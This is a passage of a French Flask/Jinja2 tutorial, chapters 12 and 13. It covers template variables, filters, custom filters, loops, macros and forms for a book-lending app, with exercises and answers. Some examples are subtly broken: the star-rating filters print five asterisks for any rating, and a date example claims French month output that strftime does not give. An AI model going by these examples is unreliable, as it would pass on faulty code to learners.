                  {% block contenu %}{% endblock %}
              </div>
              <aside class="sidebar">
                  {% block sidebar %}{% endblock %}
              </aside>
          </div>
      {% else %}
          {# Mode pleine largeur #}
          <div class="layout-pleine-largeur">
              {% block contenu %}{% endblock %}
          </div>
      {% endif %}
  </main>

  {# Page avec sidebar #}
  {% extends "base.html" %}
  {% block sidebar %}
      <h3>Catégories</h3>
      <ul>
          <li>Science-fiction</li>
          <li>Fantasy</li>
      </ul>
  {% endblock %}

  {# Page sans sidebar -> pleine largeur automatiquement #}
  {% extends "base.html" %}
  {# Pas de bloc sidebar -> layout pleine largeur #}


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 12 — VARIABLES, FILTRES ET EXPRESSIONS JINJA2                  ║
║            Tout ce que tu peux faire avec les données dans les templates             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  SYNTAXE DES VARIABLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

DÉLIMITEURS JINJA2 :

  {{ expression }}    -> Affiche la valeur d'une expression
  {% instruction %}   -> Instruction (for, if, block, extends...)
  {# commentaire #}   -> Commentaire (invisible dans le HTML final)

ACCÉDER AUX VARIABLES :

  {# Variable simple #}
  {{ nom }}                     -> "Momo"
  {{ age }}                     -> 23

  {# Attribut d'objet (objet Python avec attributs) #}
  {{ livre.titre }}             -> "Dune"
  {{ livre.auteur }}            -> "Frank Herbert"
  {{ user.profil.avatar_url }}  -> URL imbriquée

  {# Clé d'un dictionnaire #}
  {{ livre['titre'] }}          -> "Dune" (syntaxe alternative)
  {{ donnees['user']['nom'] }}  -> accès imbriqué

  {# Jinja2 essaie les deux : attribut puis clé de dict #}
  {# livre.titre fonctionne que ce soit un attribut OU une clé #}

  {# Élément d'une liste par index #}
  {{ livres[0] }}               -> premier livre
  {{ livres[0].titre }}         -> titre du premier livre

  {# Variable avec valeur par défaut (si None ou inexistante) #}
  {{ livre.isbn | default('Non renseigné') }}
  {{ user.bio | default('Aucune bio') }}

VARIABLES GLOBALES FLASK :
  Flask injecte automatiquement certaines variables dans tous les templates :

  {{ request.path }}            -> URL courante
  {{ request.method }}          -> méthode HTTP
  {{ session }}                 -> session de l'utilisateur
  {{ config }}                  -> config Flask (attention aux secrets !)
  {{ g }}                       -> objet global de la requête

INJECTER DES VARIABLES GLOBALES PERSONNALISÉES :

  # Dans Flask, avec context_processor :
  @app.context_processor
  def variables_globales():
      """
      Ces variables sont disponibles dans TOUS les templates.
      Utile pour : utilisateur connecté, infos de l'app, etc.
      """
      return {
          'app_nom': 'BookFlow',
          'app_version': '1.0.0',
          'current_year': 2024,
          'current_user': None  # Sera l'utilisateur connecté après auth
      }

  # Dans le template, accès direct :
  {{ app_nom }}        -> "BookFlow"
  {{ current_year }}   -> 2024


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  LES FILTRES JINJA2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les filtres transforment les variables avant de les afficher.
Syntaxe : {{ variable | filtre }}
          {{ variable | filtre(argument) }}
          {{ variable | filtre1 | filtre2 }}  (chaînage)

FILTRES DE CHAÎNES :

  {{ "bonjour monde" | upper }}           -> "BONJOUR MONDE"
  {{ "BONJOUR MONDE" | lower }}           -> "bonjour monde"
  {{ "dune le roman" | title }}           -> "Dune Le Roman"
  {{ "dune le roman" | capitalize }}      -> "Dune le roman"

  {{ "  bonjour  " | trim }}             -> "bonjour"
  {{ "bonjour monde" | replace("monde", "Momo") }} -> "bonjour Momo"

  {{ "Un très long texte..." | truncate(20) }}
  -> "Un très long tex..."

  {{ "Un très long texte..." | truncate(20, killwords=True, end='…') }}
  -> "Un très long text…"

  {{ "<b>Gras</b>" | striptags }}         -> "Gras"
  {{ texte_html | safe }}                 -> Affiche sans escaping ([ATTENTION] dangereux)

  {# Longueur #}
  {{ "Bonjour" | length }}                -> 7
  {{ livres | length }}                   -> nombre d'éléments

  {# Répéter #}
  {{ "*" | repeat(5) }}                   -> "*****"

FILTRES DE NOMBRES :

  {{ 1234567 | int }}                     -> 1234567
  {{ "42" | int }}                        -> 42
  {{ "3.14" | float }}                    -> 3.14

  {{ 1234567.89 | round(2) }}             -> 1234567.89
  {{ 1234567.89 | round }}                -> 1234568.0

  {# Format monétaire (filtre custom — voir plus bas) #}
  {{ 12.5 | currency }}                   -> "12,50 €" (avec filtre perso)

  {# Absolu #}
  {{ -5 | abs }}                          -> 5

FILTRES DE LISTES :

  {{ livres | length }}                   -> 3
  {{ livres | first }}                    -> premier élément
  {{ livres | last }}                     -> dernier élément
  {{ livres | reverse | list }}           -> liste inversée

  {# Trier #}
  {{ livres | sort(attribute='titre') }}
  -> livres triés par titre alphabétique

  {{ livres | sort(attribute='pages', reverse=True) }}
  -> livres triés par pages décroissant

  {# Filtrer #}
  {{ livres | selectattr('disponible', 'eq', true) | list }}
  -> seulement les livres disponibles

  {{ livres | rejectattr('disponible', 'eq', true) | list }}
  -> seulement les livres NON disponibles

  {# Map — extraire un attribut #}
  {{ livres | map(attribute='titre') | list }}
  -> ["Dune", "Foundation", "Hyperion"]

  {# Join — joindre une liste #}
  {{ genres | join(', ') }}               -> "fantasy, science-fiction, dystopie"
  {{ livres | map(attribute='titre') | join(' • ') }}
  -> "Dune • Foundation • Hyperion"

FILTRES DE DATES :

  {# Jinja2 n'a pas de filtre date intégré, mais Flask le fournit #}
  {# Ou on peut créer un filtre custom : #}

  # Dans Python (filtre Flask personnalisé) :
  from datetime import datetime

  @app.template_filter('date_fr')
  def date_fr(valeur, format='%d/%m/%Y'):
      """Formate une date en français."""
      if isinstance(valeur, str):
          valeur = datetime.fromisoformat(valeur)
      return valeur.strftime(format)

  # Dans le template :
  {{ livre.created_at | date_fr }}           -> "15/01/2024"
  {{ livre.created_at | date_fr('%B %Y') }} -> "Janvier 2024"

FILTRE default (très utile) :

  {# Si la variable est falsy (None, "", 0, [], {}, False) -> affiche la valeur par défaut #}
  {{ livre.isbn | default('ISBN non renseigné') }}
  {{ user.bio | default('Aucune biographie') }}
  {{ livre.note | default(0) | round(1) }}

  {# default avec boolean=True -> uniquement si la variable n'est PAS définie #}
  {{ variable_inexistante | default('Valeur par défaut', boolean=True) }}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CRÉER DES FILTRES PERSONNALISÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import Flask

  app = Flask(__name__)

  @app.template_filter('euro')
  def filtre_euro(valeur):
      """Formate un nombre en prix euro."""
      try:
          return f"{float(valeur):.2f} €".replace('.', ',')
      except (ValueError, TypeError):
          return "Prix non disponible"

  @app.template_filter('pluriel')
  def filtre_pluriel(nombre, singulier, pluriel=None):
      """Gère le pluriel automatiquement."""
      if pluriel is None:
          pluriel = singulier + 's'
      if nombre <= 1:
          return f"{nombre} {singulier}"
      return f"{nombre} {pluriel}"

  @app.template_filter('slug')
  def filtre_slug(texte):
      """Convertit un texte en slug URL."""
      import re
      import unicodedata
      # Normaliser les accents
      texte = unicodedata.normalize('NFD', texte)
      texte = texte.encode('ascii', 'ignore').decode('utf-8')
      texte = texte.lower()
      texte = re.sub(r'[^\w\s-]', '', texte)
      texte = re.sub(r'[\s_-]+', '-', texte)
      return texte.strip('-')

  @app.template_filter('note_etoiles')
  def filtre_note_etoiles(note, max_etoiles=5):
      """Affiche une note sous forme d'étoiles."""
      note = round(float(note))
      etoiles = '*' * note + '*' * (max_etoiles - note)
      return etoiles

  # Utilisation dans les templates :
  {{ livre.prix | euro }}                       -> "8,90 €"
  {{ total_livres | pluriel('livre') }}          -> "1 livre" ou "3 livres"
  {{ livre.titre | slug }}                      -> "le-petit-prince"
  {{ livre.note | note_etoiles }}               -> "*****"

ENREGISTRER LES FILTRES VIA UN MODULE :

  # app/utils/template_filters.py
  def enregistrer_filtres(app):
      """Enregistre tous les filtres personnalisés."""

      @app.template_filter('euro')
      def euro(val):
          return f"{float(val):.2f} €".replace('.', ',')

      @app.template_filter('date_courte')
      def date_courte(val):
          from datetime import datetime
          if isinstance(val, str):
              val = datetime.fromisoformat(val.replace('Z', ''))
          return val.strftime('%d/%m/%Y')

      @app.template_filter('note_etoiles')
      def note_etoiles(note):
          n = round(float(note or 0))
          return '*' * n + '*' * (5 - n)

  # Dans create_app() :
  from .utils.template_filters import enregistrer_filtres
  enregistrer_filtres(app)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXPRESSIONS ET OPÉRATEURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

OPÉRATEURS ARITHMÉTIQUES :
  {{ 10 + 5 }}          -> 15
  {{ 10 - 5 }}          -> 5
  {{ 10 * 5 }}          -> 50
  {{ 10 / 5 }}          -> 2.0
  {{ 10 // 3 }}         -> 3 (division entière)
  {{ 10 % 3 }}          -> 1 (modulo)
  {{ 2 ** 10 }}         -> 1024 (puissance)

  {# Exemple utile : prix avec réduction #}
  {{ (livre.prix * 0.85) | round(2) }} € {# -15% #}

  {# Calcul de pages totales #}
  {{ ((total + limit - 1) // limit) }}

OPÉRATEURS DE COMPARAISON :
  {{ age == 18 }}       -> true ou false
  {{ age != 18 }}
  {{ age > 18 }}
  {{ age >= 18 }}
  {{ age < 18 }}
  {{ age <= 18 }}

OPÉRATEURS LOGIQUES :
  {{ true and false }}  -> false
  {{ true or false }}   -> true
  {{ not true }}        -> false

  {# Exemple : afficher un livre si disponible ET moins de 500 pages #}
  {% if livre.disponible and livre.pages < 500 %}
      Lecture rapide disponible !
  {% endif %}

OPÉRATEUR IN (appartenance) :
  {{ 'fantasy' in genres_favoris }}   -> true si 'fantasy' est dans la liste
  {{ livre.id in livres_empruntes }}  -> true si l'id est dans la liste

EXPRESSION TERNAIRE :
  {{ 'Disponible' if livre.disponible else 'Emprunté' }}

  {# Avec une variable #}
  {% set statut = 'vert' if livre.disponible else 'rouge' %}
  <span class="badge-{{ statut }}">{{ statut | title }}</span>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  VARIABLES LOCALES ({% set %})
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

{% set %} permet de définir des variables locales dans le template.

  {# Définir une variable simple #}
  {% set titre_page = "Catalogue des Livres" %}
  <title>{{ titre_page }}</title>

  {# Calculs intermédiaires #}
  {% set prix_reduit = livre.prix * 0.85 %}
  {% set economie = livre.prix - prix_reduit %}
  <p>Prix réduit : {{ prix_reduit | round(2) }} €</p>
  <p>Vous économisez : {{ economie | round(2) }} €</p>

  {# Variable conditionnelle #}
  {% set classe_css = 'disponible' if livre.disponible else 'indisponible' %}
  <div class="livre-card {{ classe_css }}">...</div>

  {# Variable de liste #}
  {% set genres_fr = ['Science-Fiction', 'Fantasy', 'Dystopie'] %}

  {# set avec namespace pour modifier dans les boucles #}
  {# (les variables Jinja2 ont un scope limité dans les boucles) #}
  {% set ns = namespace(total=0) %}
  {% for livre in livres %}
      {% set ns.total = ns.total + livre.pages %}
  {% endfor %}
  Total : {{ ns.total }} pages

Exemple:
app.py

    from flask import Flask, render_template

    app = Flask(__name__)

    @app.route('/')
    def panier():
        produit = {"nom": "Livre", "prix": 19.9, "quantite": 3}
        return render_template('panier.html', produit=produit)

templates/panier.html

    <h1>{{ produit.nom }}</h1>

    {% set total = produit.prix * produit.quantite %}
    <p>Quantité : {{ produit.quantite }}</p>
    <p>Total : {{ total }} €</p>

Résultat :

    Livre
    Quantité : 3
    Total : 59.7 €

Utilisation avancée : listes et boucles
    {% set fruits = ['pomme', 'banane', 'cerise'] %}

    <ul>
    {% for fruit in fruits %}
        <li>{{ fruit }}</li>
    {% endfor %}
    </ul>

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 12.1 : Dans un template, affiche les infos d'un livre
    avec ces transformations :
    - titre en majuscules
    - auteur avec la première lettre de chaque mot en majuscule
    - pages avec le pluriel ("1 page" ou "X pages")
    - prix formaté en euros ("8,90 €")

  Exercice 12.2 : Utilise le filtre truncate pour afficher
    un résumé de 100 caractères maximum d'un livre.

  Exercice 12.3 : Crée un filtre personnalisé "badge_disponibilite"
    qui retourne "[OK] Disponible" ou "[X] Emprunté" selon le booléen.

NIVEAU INTERMÉDIAIRE :
  Exercice 12.4 : Affiche une liste de livres triés par auteur
    en utilisant uniquement les filtres Jinja2 (pas de tri en Python).

  Exercice 12.5 : Crée un filtre "temps_lecture" qui estime le temps
    de lecture d'un livre (250 mots/page, 300 mots/minute).

NIVEAU AVANCÉ :
  Exercice 12.6 : Implémente un context_processor qui injecte dans
    tous les templates : l'utilisateur connecté, le nombre de livres
    disponibles et la date du jour.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 12.1 :

  {# Template detail.html #}
  <h1>{{ livre.titre | upper }}</h1>
  <p>{{ livre.auteur | title }}</p>
  <p>{{ livre.pages }} {{ 'page' if livre.pages <= 1 else 'pages' }}</p>
  <p>{{ livre.prix | euro }}</p>

  {# Ou avec le filtre pluriel custom : #}
  <p>{{ livre.pages | pluriel('page') }}</p>

CORRIGÉ 12.3 :

  @app.template_filter('badge_dispo')
  def badge_disponibilite(disponible):
      if disponible:
          return "[OK] Disponible"
      return "[X] Emprunté"

  {# Template : #}
  <span>{{ livre.disponible | badge_dispo }}</span>

CORRIGÉ 12.5 :

  @app.template_filter('temps_lecture')
  def temps_lecture(pages):
      """
      Estime le temps de lecture.
      Hypothèse : 250 mots/page, 300 mots/minute.
      """
      if not pages or pages <= 0:
          return "Durée inconnue"

      mots_total = pages * 250
      minutes_total = mots_total / 300

      heures = int(minutes_total // 60)
      minutes = int(minutes_total % 60)

      if heures == 0:
          return f"~{minutes} min de lecture"
      elif minutes == 0:
          return f"~{heures}h de lecture"
      else:
          return f"~{heures}h{minutes:02d} de lecture"

  # Tests :
  # 96 pages  -> ~1h20 de lecture
  # 900 pages -> ~12h30 de lecture

CORRIGÉ 12.6 :

  from datetime import date

  @app.context_processor
  def injecter_variables_globales():
      """Injecte des variables disponibles dans TOUS les templates."""

      # Compter les livres disponibles (simulation)
      livres_disponibles = sum(1 for l in LIVRES if l.get('disponible', True))

      # En production, current_user viendrait du module d'auth
      current_user = None  # Sera implémenté avec JWT en Partie 8

      return {
          'current_user': current_user,
          'livres_disponibles_count': livres_disponibles,
          'today': date.today(),
          'app_version': '1.0.0',
          'genres_disponibles': ['science-fiction', 'fantasy', 'dystopie', 'policier']
      }

  # Dans n'importe quel template, accès direct :
  # {{ current_user.nom if current_user else 'Visiteur' }}
  # {{ livres_disponibles_count }} livres disponibles
  # {{ today.year }}


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 CHAPITRE 13 — BOUCLES, CONDITIONS ET MACROS                          ║
║            La logique de présentation dans les templates Jinja2                      ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  STRUCTURES CONDITIONNELLES ({% if %})
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SYNTAXE DE BASE :

  {% if condition %}
      HTML si vrai
  {% elif autre_condition %}
      HTML si deuxième condition vraie
  {% else %}
      HTML si toutes les conditions sont fausses
  {% endif %}

EXEMPLES CONCRETS BOOKFLOW :

  {# Affichage selon disponibilité #}
  {% if livre.disponible %}
      <button class="btn-primary">[GUIDE] Emprunter</button>
  {% else %}
      <button class="btn-disabled" disabled>Indisponible</button>
      <p>Retour prévu le {{ livre.date_retour | date_fr }}</p>
  {% endif %}

  {# Affichage selon le rôle utilisateur #}
  {% if current_user %}
      {% if current_user.role == 'admin' %}
          <a href="/admin">[CONFIG] Administration</a>
          <a href="/livres/nouveau">+ Ajouter un livre</a>
      {% elif current_user.role == 'moderateur' %}
          <a href="/moderation">Modération</a>
      {% else %}
          <a href="/mes-emprunts">Mes emprunts</a>
      {% endif %}
      <a href="/logout">Déconnexion</a>
  {% else %}
      <a href="/login">Connexion</a>
      <a href="/register">Inscription</a>
  {% endif %}

  {# Conditions sur les listes #}
  {% if livres %}
      <p>{{ livres | length }} livre(s) trouvé(s)</p>
  {% else %}
      <p>Aucun livre disponible.</p>
  {% endif %}

  {# Vérifier si une variable est définie #}
  {% if livre.isbn is defined and livre.isbn %}
      <p>ISBN : {{ livre.isbn }}</p>
  {% endif %}

  {# Tests Jinja2 spéciaux #}
  {% if valeur is none %}         -> valeur est None
  {% if valeur is not none %}     -> valeur n'est pas None
  {% if liste is sequence %}      -> c'est une liste/tuple
  {% if valeur is string %}       -> c'est une chaîne
  {% if valeur is number %}       -> c'est un nombre
  {% if valeur is defined %}      -> la variable est définie
  {% if valeur is divisibleby(2) %} -> divisible par 2


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  BOUCLES ({% for %})
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SYNTAXE DE BASE :

  {% for element in collection %}
      HTML pour chaque élément
  {% endfor %}

  {# Avec else si la collection est vide #}
  {% for livre in livres %}
      <div>{{ livre.titre }}</div>
  {% else %}
      <p>Aucun livre.</p>
  {% endfor %}

LA VARIABLE LOOP — INFORMATIONS SUR LA BOUCLE :
Jinja2 fournit une variable magique `loop` dans chaque boucle for.

  ┌──────────────────────┬────────────────────────────────────────────┐
  │ VARIABLE             │ VALEUR                                     │
  ├──────────────────────┼────────────────────────────────────────────┤
  │ loop.index           │ Index courant (commence à 1)               │
  │ loop.index0          │ Index courant (commence à 0)               │
  │ loop.revindex        │ Index depuis la fin (1 = dernier)          │
  │ loop.first           │ True si c'est le premier élément           │
  │ loop.last            │ True si c'est le dernier élément           │
  │ loop.length          │ Nombre total d'éléments                    │
  │ loop.depth           │ Niveau d'imbrication (1 = niveau racine)   │
  │ loop.cycle(a, b, c)  │ Alterne entre les valeurs à chaque tour    │
  └──────────────────────┴────────────────────────────────────────────┘

EXEMPLES AVEC loop :

  {# Liste numérotée #}
  <ol>
  {% for livre in livres %}
      <li>{{ loop.index }}. {{ livre.titre }}</li>
  {% endfor %}
  </ol>

  {# Alternance de classes CSS (lignes alternées) #}
  <table>
  {% for livre in livres %}
      <tr class="{{ loop.cycle('row-pair', 'row-impair') }}">
          <td>{{ livre.titre }}</td>
          <td>{{ livre.auteur }}</td>
      </tr>
  {% endfor %}
  </table>

  {# Séparateur entre éléments #}
  {% for genre in genres %}
      {{ genre }}
      {% if not loop.last %} • {% endif %}
  {% endfor %}
  {# Résultat : fantasy • science-fiction • dystopie #}

  {# Premier et dernier différenciés #}
  <nav class="pagination">
  {% for page in pages %}
      {% if loop.first %}
          <span class="premiere-page">{{ page }}</span>
      {% elif loop.last %}
          <span class="derniere-page">{{ page }}</span>
      {% else %}
          <a href="?page={{ page }}">{{ page }}</a>
      {% endif %}
  {% endfor %}
  </nav>

BOUCLES AVEC FILTRES :

  {# Boucler uniquement sur les livres disponibles #}
  {% for livre in livres if livre.disponible %}
      <div>{{ livre.titre }} [OK]</div>
  {% else %}
      <p>Aucun livre disponible.</p>
  {% endfor %}

  {# Boucler sur un dict (clés et valeurs) #}
  {% for cle, valeur in statistiques.items() %}
      <p>{{ cle }} : {{ valeur }}</p>
  {% endfor %}

  {# Boucler sur une liste triée #}
  {% for livre in livres | sort(attribute='titre') %}
      <li>{{ livre.titre }}</li>
  {% endfor %}

  {# Boucler avec range() #}
  {% for i in range(5) %}
      {{ i }}
  {% endfor %}
  {# -> 0 1 2 3 4 #}

  {% for i in range(1, 6) %}
      <span class="etoile {% if i <= livre.note %}active{% endif %}">*</span>
  {% endfor %}

BOUCLES IMBRIQUÉES :

  {# Grouper les livres par genre #}
  {% for genre, livres_du_genre in livres_par_genre.items() %}
  <section class="genre-section">
      <h2>{{ genre | title }} ({{ livres_du_genre | length }})</h2>
      <div class="livres-grid">
          {% for livre in livres_du_genre %}
          <div class="livre-card">
              {# loop.depth = 2 ici (boucle imbriquée) #}
              <p>{{ loop.index }}/{{ loop.length }}</p>
              <h3>{{ livre.titre }}</h3>
          </div>
          {% endfor %}
      </div>
  </section>
  {% endfor %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES MACROS JINJA2 (COMPOSANTS RÉUTILISABLES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une macro Jinja2 est comme une fonction Python pour les templates.
Elle génère du HTML réutilisable avec des paramètres.

DÉFINIR UNE MACRO :

  {# app/templates/macros/ui.html #}

  {% macro livre_card(livre, show_actions=True) %}
  {#
    Macro : carte d'un livre
    Paramètres :
      livre       -> dict ou objet livre
      show_actions -> bool, affiche les boutons d'action (défaut: True)
  #}
  <div class="livre-card {{ 'disponible' if livre.disponible else 'indisponible' }}">

      <div class="livre-genre">{{ livre.genre | title }}</div>

      <h3 class="livre-titre">
          <a href="/livres/{{ livre.id }}">{{ livre.titre }}</a>
      </h3>

      <p class="livre-auteur">{{ livre.auteur }}</p>
      <p class="livre-pages">{{ livre.pages | pluriel('page') }}</p>

      <div class="livre-note">
          {% for i in range(1, 6) %}
              <span class="etoile {{ 'pleine' if i <= (livre.note | default(0)) else 'vide' }}">
                  {% if i <= (livre.note | default(0)) %}*{% else %}*{% endif %}
              </span>
          {% endfor %}
      </div>

      {% if show_actions %}
      <div class="livre-actions">
          {% if livre.disponible %}
              <button class="btn-emprunter"
                      data-livre-id="{{ livre.id }}">
                  [GUIDE] Emprunter
              </button>
          {% else %}
              <button class="btn-indispo" disabled>Indisponible</button>
          {% endif %}
          <a href="/livres/{{ livre.id }}" class="btn-details">Détails</a>
      </div>
      {% endif %}

  </div>
  {% endmacro %}


  {% macro pagination(meta, endpoint, **filtres) %}
  {#
    Macro : pagination
    Paramètres :
      meta     -> dict avec page, pages, has_next, has_prev
      endpoint -> nom de la route Flask pour url_for
      **filtres -> paramètres supplémentaires pour les URLs
  #}
  {% if meta.pages > 1 %}
  <nav class="pagination" aria-label="Pagination">

      {% if meta.has_prev %}
          <a href="{{ url_for(endpoint, page=meta.page-1, **filtres) }}"
             class="btn-page prev" aria-label="Page précédente">
              <- Précédent
          </a>
      {% else %}
          <span class="btn-page prev disabled"><- Précédent</span>
      {% endif %}

      {# Afficher max 5 pages autour de la page courante #}
      {% set debut = [meta.page - 2, 1] | max %}
      {% set fin = [meta.page + 2, meta.pages] | min %}

      {% if debut > 1 %}
          <a href="{{ url_for(endpoint, page=1, **filtres) }}" class="btn-page">1</a>
          {% if debut > 2 %}<span class="ellipsis">…</span>{% endif %}
      {% endif %}

      {% for num in range(debut, fin + 1) %}
          <a href="{{ url_for(endpoint, page=num, **filtres) }}"
             class="btn-page {{ 'active' if num == meta.page else '' }}"
             {% if num == meta.page %}aria-current="page"{% endif %}>
              {{ num }}
          </a>
      {% endfor %}

      {% if fin < meta.pages %}
          {% if fin < meta.pages - 1 %}<span class="ellipsis">…</span>{% endif %}
          <a href="{{ url_for(endpoint, page=meta.pages, **filtres) }}"
             class="btn-page">{{ meta.pages }}</a>
      {% endif %}

      {% if meta.has_next %}
          <a href="{{ url_for(endpoint, page=meta.page+1, **filtres) }}"
             class="btn-page next">Suivant -></a>
      {% else %}
          <span class="btn-page next disabled">Suivant -></span>
      {% endif %}

  </nav>
  {% endif %}
  {% endmacro %}


  {% macro badge(texte, type='info') %}
  {# type: info, success, warning, error #}
  <span class="badge badge-{{ type }}">{{ texte }}</span>
  {% endmacro %}


  {% macro champ_formulaire(label, name, type='text', value='', required=False, erreur=None) %}
  <div class="form-group {{ 'has-error' if erreur else '' }}">
      <label for="{{ name }}">
          {{ label }}
          {% if required %}<span class="required" title="Obligatoire">*</span>{% endif %}
      </label>
      <input
          type="{{ type }}"
          id="{{ name }}"
          name="{{ name }}"
          value="{{ value }}"
          {% if required %}required{% endif %}
          class="form-control {{ 'is-invalid' if erreur else '' }}"
      >
      {% if erreur %}
          <div class="error-message">{{ erreur }}</div>
      {% endif %}
  </div>
  {% endmacro %}

UTILISER LES MACROS DANS UN TEMPLATE :

  {# app/templates/livres/liste.html #}
  {% extends "base.html" %}

  {# Importer les macros #}
  {% from "macros/ui.html" import livre_card, pagination, badge %}

  {% block contenu %}
  <h1>Catalogue</h1>

  {# Utiliser la macro livre_card #}
  <div class="livres-grid">
      {% for livre in livres %}
          {{ livre_card(livre) }}
          {# ou sans boutons d'action : #}
          {# {{ livre_card(livre, show_actions=False) }} #}
      {% endfor %}
  </div>

  {# Utiliser la macro pagination #}
  {{ pagination(meta, 'livres.liste', genre=filtres.genre) }}

  {# Utiliser badge #}
  {{ badge('Nouveau', 'success') }}
  {{ badge('Épuisé', 'error') }}

  {% endblock %}

IMPORTER TOUTES LES MACROS D'UN FICHIER :

  {% import "macros/ui.html" as ui %}
  {# Puis : #}
  {{ ui.livre_card(livre) }}
  {{ ui.pagination(meta, 'livres.liste') }}
  {{ ui.badge('Nouveau', 'success') }}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  TEMPLATE POUR LES FORMULAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  {# app/templates/livres/formulaire.html #}
  {% extends "base.html" %}
  {% from "macros/ui.html" import champ_formulaire %}

  {% block titre %}
      {{ 'Modifier' if livre else 'Ajouter' }} un livre
  {% endblock %}

  {% block contenu %}
  <div class="formulaire-container">
      <h1>{{ 'Modifier le livre' if livre else 'Ajouter un livre' }}</h1>

      <form method="POST"
            action="{{ url_for('livres.modifier', id=livre.id) if livre else url_for('livres.creer') }}">

          {# Protection CSRF (avec Flask-WTF, vu en Partie 4) #}
          {# {{ form.hidden_tag() }} #}

          {{ champ_formulaire(
              'Titre',
              'titre',
              value=livre.titre if livre else '',
              required=True,
              erreur=erreurs.get('titre')
          ) }}

          {{ champ_formulaire(
              'Auteur',
              'auteur',
              value=livre.auteur if livre else '',
              required=True,
              erreur=erreurs.get('auteur')
          ) }}

          {{ champ_formulaire(
              'Nombre de pages',
              'pages',
              type='number',
              value=livre.pages if livre else '',
              erreur=erreurs.get('pages')
          ) }}

          <div class="form-group">
              <label for="genre">Genre</label>
              <select name="genre" id="genre" class="form-control">
                  <option value="">-- Choisir un genre --</option>
                  {% for genre in genres_disponibles %}
                  <option value="{{ genre }}"
                      {{ 'selected' if livre and livre.genre == genre else '' }}>
                      {{ genre | title }}
                  </option>
                  {% endfor %}
              </select>
          </div>

          {% if livre %}
          <div class="form-group">
              <label class="checkbox-label">
                  <input type="checkbox" name="disponible"
                         {{ 'checked' if livre.disponible else '' }}>
                  Disponible à l'emprunt
              </label>
          </div>
          {% endif %}

          <div class="form-actions">
              <button type="submit" class="btn-primary">
                  {{ '[SAUVEGARDE] Enregistrer' if livre else '+ Ajouter le livre' }}
              </button>
              <a href="{{ url_for('livres.liste') }}" class="btn-secondary">
                  Annuler
              </a>
          </div>
      </form>
  </div>
  {% endblock %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 13.1 : Crée un template qui affiche une liste de livres
    avec un compteur (1., 2., 3...) et les lignes alternent de couleur.

  Exercice 13.2 : Affiche les genres disponibles séparés par des " | "
    en utilisant loop.last pour ne pas mettre de séparateur après le dernier.

  Exercice 13.3 : Crée un template qui affiche "Aucun résultat" si la liste
    est vide, et la liste des livres sinon (utilise le bloc else du for).

NIVEAU INTERMÉDIAIRE :
  Exercice 13.4 : Crée une macro "alert(message, type)" qui génère
    une alerte Bootstrap (success, danger, warning, info).

  Exercice 13.5 : Crée un template qui groupe les livres par genre
    en utilisant une boucle for sur un dict groupé (passé depuis Flask).

  Exercice 13.6 : Crée une macro "pagination" complète avec :
    - Boutons Précédent/Suivant
    - Numéros de pages (actif mis en évidence)
    - Affichage de "Page X sur Y"

NIVEAU AVANCÉ :
  Exercice 13.7 : Crée un fichier macros/forms.html avec des macros
    pour tous les types de champs : text, email, password, textarea,
    select, checkbox, radio. Chaque macro gère les erreurs de validation.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS DÉTAILLÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 13.1 :

  <table class="livres-table">
      <thead>
          <tr>
              <th>#</th>
              <th>Titre</th>
              <th>Auteur</th>
              <th>Statut</th>
          </tr>
      </thead>
      <tbody>
      {% for livre in livres %}
          <tr class="{{ loop.cycle('row-pair', 'row-impair') }}">
              <td>{{ loop.index }}</td>
              <td>{{ livre.titre }}</td>
              <td>{{ livre.auteur }}</td>
              <td>
                  {% if livre.disponible %}
                      <span class="vert">Disponible</span>
                  {% else %}
                      <span class="rouge">Emprunté</span>
                  {% endif %}
              </td>
          </tr>
      {% else %}
          <tr>
              <td colspan="4">Aucun livre disponible.</td>
          </tr>
      {% endfor %}
      </tbody>
  </table>

CORRIGÉ 13.2 :

  <div class="genres">
      {% for genre in genres %}
          <a href="/livres?genre={{ genre }}" class="genre-tag">
              {{ genre | title }}
          </a>
          {% if not loop.last %} | {% endif %}
      {% endfor %}
  </div>

